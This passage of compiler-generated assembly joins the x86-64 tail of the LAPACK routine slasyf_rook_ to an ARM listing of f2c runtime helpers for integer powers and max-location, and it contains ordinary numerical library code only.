divss xmm0, DWORD PTR -52[rbp]
movss DWORD PTR -48[rbp], xmm0
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
divss xmm0, DWORD PTR -52[rbp]
movss DWORD PTR -44[rbp], xmm0
movss xmm0, DWORD PTR -48[rbp]
mulss xmm0, DWORD PTR -44[rbp]
movss xmm2, DWORD PTR .LC0[rip]
movaps xmm1, xmm0
subss xmm1, xmm2
movss xmm0, DWORD PTR .LC0[rip]
divss xmm0, xmm1
movss DWORD PTR -40[rbp], xmm0
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -152[rbp]
add eax, 2
mov DWORD PTR -156[rbp], eax
jmp .L195
.L196:
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -156[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mulss xmm0, DWORD PTR -48[rbp]
mov eax, DWORD PTR -152[rbp]
add eax, 1
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -156[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm1, DWORD PTR [rax]
subss xmm0, xmm1
divss xmm0, DWORD PTR -52[rbp]
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -156[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rdx
mulss xmm0, DWORD PTR -40[rbp]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -152[rbp]
add eax, 1
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -156[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mulss xmm0, DWORD PTR -44[rbp]
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -156[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm1, DWORD PTR [rax]
subss xmm0, xmm1
divss xmm0, DWORD PTR -52[rbp]
mov eax, DWORD PTR -152[rbp]
add eax, 1
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -156[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rdx
mulss xmm0, DWORD PTR -40[rbp]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -156[rbp]
add eax, 1
mov DWORD PTR -156[rbp], eax
.L195:
mov edx, DWORD PTR -156[rbp]
mov eax, DWORD PTR -180[rbp]
cmp edx, eax
jle .L196
.L194:
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rdx, rax
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov ecx, eax
mov eax, DWORD PTR -152[rbp]
add eax, ecx
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -152[rbp]
lea edx, 1[rax]
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -84[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rdx, rax
mov eax, DWORD PTR -152[rbp]
lea ecx, 1[rax]
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
add eax, ecx
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -152[rbp]
lea edx, 1[rax]
mov eax, DWORD PTR -152[rbp]
add eax, 1
imul eax, DWORD PTR -84[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rdx, rax
mov eax, DWORD PTR -152[rbp]
lea ecx, 1[rax]
mov eax, DWORD PTR -152[rbp]
add eax, 1
imul eax, DWORD PTR -92[rbp]
add eax, ecx
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
.L160:
cmp DWORD PTR -120[rbp], 1
jne .L197
mov eax, DWORD PTR -152[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -248[rbp]
add rdx, rax
mov eax, DWORD PTR -132[rbp]
mov DWORD PTR [rdx], eax
jmp .L198
.L197:
mov edx, DWORD PTR -148[rbp]
mov eax, DWORD PTR -152[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -248[rbp]
add rax, rcx
neg edx
mov DWORD PTR [rax], edx
mov edx, DWORD PTR -132[rbp]
mov eax, DWORD PTR -152[rbp]
cdqe
add rax, 1
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -248[rbp]
add rax, rcx
neg edx
mov DWORD PTR [rax], edx
.L198:
mov edx, DWORD PTR -152[rbp]
mov eax, DWORD PTR -120[rbp]
add eax, edx
mov DWORD PTR -152[rbp], eax
jmp .L141
.L252:
nop
.L145:
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov DWORD PTR -180[rbp], eax
mov rax, QWORD PTR -216[rbp]
mov eax, DWORD PTR [rax]
mov DWORD PTR -176[rbp], eax
mov eax, DWORD PTR -152[rbp]
mov DWORD PTR -156[rbp], eax
jmp .L199
.L205:
mov rax, QWORD PTR -216[rbp]
mov eax, DWORD PTR [rax]
mov DWORD PTR -172[rbp], eax
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -156[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -168[rbp], eax
mov edx, DWORD PTR -172[rbp]
mov eax, DWORD PTR -168[rbp]
cmp edx, eax
cmovle eax, edx
mov DWORD PTR -140[rbp], eax
mov edx, DWORD PTR -156[rbp]
mov eax, DWORD PTR -140[rbp]
add eax, edx
sub eax, 1
mov DWORD PTR -172[rbp], eax
mov eax, DWORD PTR -156[rbp]
mov DWORD PTR -112[rbp], eax
jmp .L200
.L201:
mov edx, DWORD PTR -156[rbp]
mov eax, DWORD PTR -140[rbp]
add eax, edx
sub eax, DWORD PTR -112[rbp]
mov DWORD PTR -168[rbp], eax
mov eax, DWORD PTR -152[rbp]
sub eax, 1
mov DWORD PTR -164[rbp], eax
mov eax, DWORD PTR -112[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -112[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rdx+rax]
mov edx, DWORD PTR -112[rbp]
mov eax, DWORD PTR -84[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rcx, [rdx+rax]
mov edx, DWORD PTR -112[rbp]
mov eax, DWORD PTR -92[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea r10, [rdx+rax]
mov r8, QWORD PTR -240[rbp]
lea rdx, -164[rbp]
lea rax, -168[rbp]
sub rsp, 8
lea rdi, c__1[rip]
push rdi
push rsi
lea rsi, c_b10[rip]
push rsi
push QWORD PTR -264[rbp]
push rcx
mov r9, r8
mov r8, r10
lea rcx, c_b9[rip]
mov rsi, rax
lea rdi, .LC7[rip]
call sgemv_@PLT
add rsp, 48
add DWORD PTR -112[rbp], 1
.L200:
mov eax, DWORD PTR -172[rbp]
cmp DWORD PTR -112[rbp], eax
jle .L201
mov edx, DWORD PTR -156[rbp]
mov eax, DWORD PTR -140[rbp]
add edx, eax
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
cmp edx, eax
jg .L202
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -156[rbp]
sub eax, edx
mov edx, DWORD PTR -140[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -172[rbp], eax
mov eax, DWORD PTR -152[rbp]
sub eax, 1
mov DWORD PTR -168[rbp], eax
mov edx, DWORD PTR -156[rbp]
mov eax, DWORD PTR -140[rbp]
add edx, eax
mov eax, DWORD PTR -156[rbp]
imul eax, DWORD PTR -92[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rdi, [rdx+rax]
mov edx, DWORD PTR -156[rbp]
mov eax, DWORD PTR -84[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rsi, [rdx+rax]
mov edx, DWORD PTR -156[rbp]
mov eax, DWORD PTR -140[rbp]
add edx, eax
mov eax, DWORD PTR -92[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rcx, [rdx+rax]
lea r8, -168[rbp]
lea rdx, -140[rbp]
lea rax, -172[rbp]
sub rsp, 8
push QWORD PTR -240[rbp]
push rdi
lea rdi, c_b10[rip]
push rdi
push QWORD PTR -264[rbp]
push rsi
push QWORD PTR -240[rbp]
push rcx
lea r9, c_b9[rip]
mov rcx, rdx
mov rdx, rax
lea rsi, .LC9[rip]
lea rdi, .LC7[rip]
call sgemm_@PLT
add rsp, 64
.L202:
mov edx, DWORD PTR -156[rbp]
mov eax, DWORD PTR -176[rbp]
add eax, edx
mov DWORD PTR -156[rbp], eax
.L199:
mov eax, DWORD PTR -176[rbp]
test eax, eax
jns .L203
mov edx, DWORD PTR -156[rbp]
mov eax, DWORD PTR -180[rbp]
cmp edx, eax
setge al
jmp .L204
.L203:
mov edx, DWORD PTR -156[rbp]
mov eax, DWORD PTR -180[rbp]
cmp edx, eax
setle al
.L204:
test al, al
jne .L205
mov eax, DWORD PTR -152[rbp]
sub eax, 1
mov DWORD PTR -156[rbp], eax
.L206:
mov DWORD PTR -120[rbp], 1
mov DWORD PTR -104[rbp], 1
mov eax, DWORD PTR -156[rbp]
mov DWORD PTR -112[rbp], eax
mov eax, DWORD PTR -156[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -248[rbp]
add rax, rdx
mov eax, DWORD PTR [rax]
mov DWORD PTR -100[rbp], eax
cmp DWORD PTR -100[rbp], 0
jns .L207
neg DWORD PTR -100[rbp]
mov eax, DWORD PTR -156[rbp]
sub eax, 1
mov DWORD PTR -156[rbp], eax
mov eax, DWORD PTR -156[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -248[rbp]
add rax, rdx
mov eax, DWORD PTR [rax]
neg eax
mov DWORD PTR -104[rbp], eax
mov DWORD PTR -120[rbp], 2
.L207:
mov eax, DWORD PTR -156[rbp]
sub eax, 1
mov DWORD PTR -156[rbp], eax
mov eax, DWORD PTR -100[rbp]
cmp eax, DWORD PTR -112[rbp]
je .L208
mov eax, DWORD PTR -156[rbp]
test eax, eax
jle .L208
mov edx, DWORD PTR -112[rbp]
mov eax, DWORD PTR -92[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rcx, [rdx+rax]
mov edx, DWORD PTR -100[rbp]
mov eax, DWORD PTR -92[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rdx+rax]
mov rdi, QWORD PTR -240[rbp]
mov rdx, QWORD PTR -240[rbp]
lea rax, -156[rbp]
mov r8, rdi
mov rdi, rax
call sswap_@PLT
.L208:
mov eax, DWORD PTR -156[rbp]
add eax, 1
mov DWORD PTR -112[rbp], eax
mov eax, DWORD PTR -104[rbp]
cmp eax, DWORD PTR -112[rbp]
je .L209
cmp DWORD PTR -120[rbp], 2
jne .L209
mov edx, DWORD PTR -112[rbp]
mov eax, DWORD PTR -92[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rcx, [rdx+rax]
mov edx, DWORD PTR -104[rbp]
mov eax, DWORD PTR -92[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rdx+rax]
mov rdi, QWORD PTR -240[rbp]
mov rdx, QWORD PTR -240[rbp]
lea rax, -156[rbp]
mov r8, rdi
mov rdi, rax
call sswap_@PLT
.L209:
mov eax, DWORD PTR -156[rbp]
test eax, eax
jle .L210
jmp .L206
.L210:
mov eax, DWORD PTR -152[rbp]
lea edx, -1[rax]
mov rax, QWORD PTR -224[rbp]
mov DWORD PTR [rax], edx
.L140:
mov eax, 0
mov rbx, QWORD PTR -24[rbp]
sub rbx, QWORD PTR fs:40
je .L212
call __stack_chk_fail@PLT
.L212:
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE21:
.size slasyf_rook_, .-slasyf_rook_
.section .rodata
.align 4
.LC0:
.long 1065353216
.align 8
.LC1:
.long 0
.long 1072693248
.align 4
.LC4:
.long 1059319931
.align 16
.LC8:
.long -2147483648
.long 0
.long 0
.long 0
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "228618.c"
.text
.data
.align 2
.type junk, %object
.size junk, 30
junk:
.ascii "\012@(#)LIBF77 VERSION 19990503\012\000"
.global __aeabi_fdiv
.global __aeabi_fmul
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type spow_ui, %function
spow_ui:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16] @ float
str r1, [fp, #-20]
mov r3, #1065353216
str r3, [fp, #-12] @ float
ldr r3, [fp, #-20]
cmp r3, #0
beq .L2
ldr r3, [fp, #-20]
cmp r3, #0
bge .L3
ldr r3, [fp, #-20]
rsb r3, r3, #0
str r3, [fp, #-20]
ldr r1, [fp, #-16] @ float
mov r0, #1065353216
bl __aeabi_fdiv
mov r3, r0
str r3, [fp, #-16] @ float
.L3:
ldr r3, [fp, #-20]
str r3, [fp, #-8]
.L7:
ldr r3, [fp, #-8]
and r3, r3, #1
cmp r3, #0
beq .L4
ldr r1, [fp, #-16] @ float
ldr r0, [fp, #-12] @ float
bl __aeabi_fmul
mov r3, r0
str r3, [fp, #-12] @ float
.L4:
ldr r3, [fp, #-8]
lsr r3, r3, #1
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
beq .L9
ldr r1, [fp, #-16] @ float
ldr r0, [fp, #-16] @ float
bl __aeabi_fmul
mov r3, r0
str r3, [fp, #-16] @ float
b .L7
.L9:
nop
.L2:
ldr r3, [fp, #-12] @ float
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size spow_ui, .-spow_ui
.global __aeabi_ddiv
.global __aeabi_dmul
.align 2
.syntax unified
.arm
.fpu softvfp
.type dpow_ui, %function
dpow_ui:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-28]
str r1, [fp, #-24]
str r2, [fp, #-32]
mov r2, #0
ldr r3, .L19
str r2, [fp, #-12]
str r3, [fp, #-8]
ldr r3, [fp, #-32]
cmp r3, #0
beq .L11
ldr r3, [fp, #-32]
cmp r3, #0
bge .L12
ldr r3, [fp, #-32]
rsb r3, r3, #0
str r3, [fp, #-32]
sub r3, fp, #28
ldmia r3, {r2-r3}
mov r0, #0
ldr r1, .L19
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
.L12:
ldr r3, [fp, #-32]
str r3, [fp, #-16]
.L16:
ldr r3, [fp, #-16]
and r3, r3, #1
cmp r3, #0
beq .L13
sub r3, fp, #28
ldmia r3, {r2-r3}
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
.L13:
ldr r3, [fp, #-16]
lsr r3, r3, #1
str r3, [fp, #-16]
ldr r3, [fp, #-16]
cmp r3, #0
beq .L18
sub r3, fp, #28
ldmia r3, {r2-r3}
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
b .L16
.L18:
nop
.L11:
sub r3, fp, #12
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L20:
.align 2
.L19:
.word 1072693248
.size dpow_ui, .-dpow_ui
.section .rodata
.align 2
.LC0:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type cpow_ui, %function
cpow_ui:
@ args = 0, pretend = 0, frame = 56
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #64
str r0, [fp, #-40]
str r1, [fp, #-48] @ float
str r2, [fp, #-44] @ float
str r3, [fp, #-52]
ldr r3, .L32
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r3, [fp, #-48] @ float
str r3, [fp, #-32] @ float
ldr r3, [fp, #-44] @ float
str r3, [fp, #-28] @ float
mov r3, #1065353216
str r3, [fp, #-16] @ float
mov r3, #0
str r3, [fp, #-12] @ float
ldr r3, [fp, #-52]
cmp r3, #0
beq .L30
ldr r3, [fp, #-52]
cmp r3, #0
bge .L23
ldr r3, [fp, #-52]
rsb r3, r3, #0
str r3, [fp, #-52]
sub r0, fp, #60
ldr r3, [fp, #-28] @ float
str r3, [sp] @ float
ldr r3, [fp, #-32] @ float
mov r2, #0
mov r1, #1065353216
bl __divsc3
ldr r3, [fp, #-60] @ float
str r3, [fp, #-48] @ float
ldr r3, [fp, #-56] @ float
str r3, [fp, #-44] @ float
ldr r3, [fp, #-48] @ float
str r3, [fp, #-32] @ float
ldr r3, [fp, #-44] @ float
str r3, [fp, #-28] @ float
.L23:
ldr r3, [fp, #-52]
str r3, [fp, #-36]
mov r3, #0
str r3, [fp, #-20] @ float
mov r3, #1065353216
str r3, [fp, #-24] @ float
.L27:
ldr r3, [fp, #-36]
and r3, r3, #1
cmp r3, #0
beq .L24
sub r0, fp, #60
ldr r3, [fp, #-28] @ float
str r3, [sp] @ float
ldr r3, [fp, #-32] @ float
ldr r2, [fp, #-20] @ float
ldr r1, [fp, #-24] @ float
bl __mulsc3
ldr r3, [fp, #-60] @ float
str r3, [fp, #-16] @ float
ldr r3, [fp, #-56] @ float
str r3, [fp, #-12] @ float
ldr r3, [fp, #-16] @ float
str r3, [fp, #-24] @ float
ldr r3, [fp, #-12] @ float
str r3, [fp, #-20] @ float
.L24:
ldr r3, [fp, #-36]
lsr r3, r3, #1
str r3, [fp, #-36]
ldr r3, [fp, #-36]
cmp r3, #0
beq .L31
sub r0, fp, #60
ldr r3, [fp, #-28] @ float
str r3, [sp] @ float
ldr r3, [fp, #-32] @ float
ldr r2, [fp, #-28] @ float
ldr r1, [fp, #-32] @ float
bl __mulsc3
ldr r3, [fp, #-60] @ float
str r3, [fp, #-48] @ float
ldr r3, [fp, #-56] @ float
str r3, [fp, #-44] @ float
ldr r3, [fp, #-48] @ float
str r3, [fp, #-32] @ float
ldr r3, [fp, #-44] @ float
str r3, [fp, #-28] @ float
b .L27
.L30:
mov r3, #0
str r3, [fp, #-20] @ float
mov r3, #1065353216
str r3, [fp, #-24] @ float
b .L22
.L31:
nop
.L22:
ldr r3, [fp, #-40]
ldr r2, [fp, #-24] @ float
str r2, [r3] @ float
ldr r3, [fp, #-40]
ldr r2, [fp, #-20] @ float
str r2, [r3, #4] @ float
ldr r3, .L32
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L29
bl __stack_chk_fail
.L29:
ldr r0, [fp, #-40]
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L33:
.align 2
.L32:
.word .LC0
.size cpow_ui, .-cpow_ui
.section .rodata
.align 2
.LC1:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type zpow_ui, %function
zpow_ui:
@ args = 20, pretend = 8, frame = 88
@ frame_needed = 1, uses_anonymous_args = 0
sub sp, sp, #8
push {fp, lr}
add fp, sp, #4
sub sp, sp, #112
str r0, [fp, #-72]
add r1, fp, #4
stm r1, {r2, r3}
ldr r3, .L45
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldmib fp, {r2-r3}
str r2, [fp, #-60]
str r3, [fp, #-56]
add r3, fp, #12
ldmia r3, {r2-r3}
str r2, [fp, #-52]
str r3, [fp, #-48]
mov r2, #0
ldr r3, .L45+4
str r2, [fp, #-28]
str r3, [fp, #-24]
mov r2, #0
mov r3, #0
str r2, [fp, #-20]
str r3, [fp, #-16]
ldr r3, [fp, #20]
cmp r3, #0
beq .L43
ldr r3, [fp, #20]
cmp r3, #0
bge .L36
ldr r3, [fp, #20]
rsb r3, r3, #0
str r3, [fp, #20]
sub r1, fp, #92
sub r3, fp, #52
ldmia r3, {r2-r3}
str r2, [sp, #16]
str r3, [sp, #20]
sub r3, fp, #60
ldmia r3, {r2-r3}
str r2, [sp, #8]
str r3, [sp, #12]
mov r2, #0
mov r3, #0
stm sp, {r2-r3}
mov r2, #0
ldr r3, .L45+4
mov r0, r1
bl __divdc3
sub r3, fp, #92
ldmia r3, {r2-r3}
stmib fp, {r2-r3}
sub r3, fp, #84
ldmia r3, {r2-r3}
str r2, [fp, #12]
str r3, [fp, #16]
ldmib fp, {r2-r3}
str r2, [fp, #-60]
str r3, [fp, #-56]
add r3, fp, #12
ldmia r3, {r2-r3}
str r2, [fp, #-52]
str r3, [fp, #-48]
.L36:
ldr r3, [fp, #20]
str r3, [fp, #-64]
mov r2, #0
mov r3, #0
str r2, [fp, #-36]
str r3, [fp, #-32]
mov r2, #0
ldr r3, .L45+4
str r2, [fp, #-44]
str r3, [fp, #-40]
.L40:
ldr r3, [fp, #-64]
and r3, r3, #1
cmp r3, #0
beq .L37
sub r1, fp, #92
sub r3, fp, #52
ldmia r3, {r2-r3}
str r2, [sp, #16]
str r3, [sp, #20]
sub r3, fp, #60
ldmia r3, {r2-r3}
str r2, [sp, #8]
str r3, [sp, #12]
sub r3, fp, #36
ldmia r3, {r2-r3}
stm sp, {r2-r3}
sub r3, fp, #44
ldmia r3, {r2-r3}
mov r0, r1
bl __muldc3
sub r3, fp, #92
ldmia r3, {r2-r3}
str r2, [fp, #-28]
str r3, [fp, #-24]
sub r3, fp, #84
ldmia r3, {r2-r3}
str r2, [fp, #-20]
str r3, [fp, #-16]
sub r3, fp, #28
ldmia r3, {r2-r3}
str r2, [fp, #-44]
str r3, [fp, #-40]
sub r3, fp, #20
ldmia r3, {r2-r3}
str r2, [fp, #-36]
str r3, [fp, #-32]
.L37:
ldr r3, [fp, #-64]
lsr r3, r3, #1
str r3, [fp, #-64]
ldr r3, [fp, #-64]
cmp r3, #0
beq .L44
sub r1, fp, #92
sub r3, fp, #52
ldmia r3, {r2-r3}
str r2, [sp, #16]
str r3, [sp, #20]
sub r3, fp, #60
ldmia r3, {r2-r3}
str r2, [sp, #8]
str r3, [sp, #12]
sub r3, fp, #52
ldmia r3, {r2-r3}
stm sp, {r2-r3}
sub r3, fp, #60
ldmia r3, {r2-r3}
mov r0, r1
bl __muldc3
sub r3, fp, #92
ldmia r3, {r2-r3}
stmib fp, {r2-r3}
sub r3, fp, #84
ldmia r3, {r2-r3}
str r2, [fp, #12]
str r3, [fp, #16]
ldmib fp, {r2-r3}
str r2, [fp, #-60]
str r3, [fp, #-56]
add r3, fp, #12
ldmia r3, {r2-r3}
str r2, [fp, #-52]
str r3, [fp, #-48]
b .L40
.L43:
mov r2, #0
mov r3, #0
str r2, [fp, #-36]
str r3, [fp, #-32]
mov r2, #0
ldr r3, .L45+4
str r2, [fp, #-44]
str r3, [fp, #-40]
b .L35
.L44:
nop
.L35:
ldr r1, [fp, #-72]
sub r3, fp, #44
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r1, [fp, #-72]
sub r3, fp, #36
ldmia r3, {r2-r3}
str r2, [r1, #8]
str r3, [r1, #12]
ldr r3, .L45
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L42
bl __stack_chk_fail
.L42:
ldr r0, [fp, #-72]
sub sp, fp, #4
@ sp needed
pop {fp, lr}
add sp, sp, #8
bx lr
.L46:
.align 2
.L45:
.word .LC1
.word 1072693248
.size zpow_ui, .-zpow_ui
.global __aeabi_idiv
.align 2
.syntax unified
.arm
.fpu softvfp
.type pow_ii, %function
pow_ii:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r3, [fp, #-20]
cmp r3, #0
bgt .L48
ldr r3, [fp, #-20]
cmp r3, #0
beq .L49
ldr r3, [fp, #-16]
cmp r3, #1
bne .L50
.L49:
mov r3, #1
str r3, [fp, #-12]
b .L48
.L50:
ldr r3, [fp, #-16]
cmn r3, #1
beq .L51
ldr r3, [fp, #-16]
cmp r3, #0
bne .L52
ldr r1, [fp, #-16]
mov r0, #1
bl __aeabi_idiv
mov r3, r0
b .L53
.L52:
mov r3, #0
.L53:
str r3, [fp, #-12]
b .L48
.L51:
ldr r3, [fp, #-20]
rsb r3, r3, #0
str r3, [fp, #-20]
.L48:
ldr r3, [fp, #-20]
cmp r3, #0
bgt .L54
ldr r3, [fp, #-20]
cmp r3, #0
beq .L55
ldr r3, [fp, #-16]
cmp r3, #1
beq .L55
ldr r3, [fp, #-16]
cmn r3, #1
bne .L55
.L54:
ldr r3, [fp, #-20]
str r3, [fp, #-8]
mov r3, #1
str r3, [fp, #-12]
.L59:
ldr r3, [fp, #-8]
and r3, r3, #1
cmp r3, #0
beq .L56
ldr r3, [fp, #-12]
ldr r2, [fp, #-16]
mul r3, r2, r3
str r3, [fp, #-12]
.L56:
ldr r3, [fp, #-8]
lsr r3, r3, #1
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
beq .L61
ldr r3, [fp, #-16]
mov r2, r3
mul r2, r3, r2
mov r3, r2
str r3, [fp, #-16]
b .L59
.L61:
nop
.L55:
ldr r3, [fp, #-12]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size pow_ii, .-pow_ii
.global __aeabi_dcmplt
.align 2
.syntax unified
.arm
.fpu softvfp
.type dmaxloc_, %function
dmaxloc_:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-24]
str r1, [fp, #-28]
str r2, [fp, #-32]
str r3, [fp, #-36]
ldr r3, [fp, #-28]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-24]
add r3, r2, r3
ldmia r3, {r2-r3}
str r2, [fp, #-12]
str r3, [fp, #-8]
ldr r3, [fp, #-28]
str r3, [fp, #-16]
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-20]
b .L63
.L66:
ldr r3, [fp, #-20]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-24]
add r3, r2, r3
ldmia r3, {r2-r3}
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
beq .L64
ldr r3, [fp, #-20]
str r3, [fp, #-16]
ldr r3, [fp, #-20]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-24]
add r3, r2, r3
ldmia r3, {r2-r3}
str r2, [fp, #-12]
str r3, [fp, #-8]
.L64:
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L63:
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
cmp r2, r3
ble .L66
ldr r2, [fp, #-16]
ldr r3, [fp, #-28]
sub r3, r2, r3
add r3, r3, #1
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size dmaxloc_, .-dmaxloc_
.global __aeabi_fcmplt
.align 2
.syntax unified
.arm
.fpu softvfp
.type smaxloc_, %function
smaxloc_:
@ args = 0, pretend = 0, frame = 32
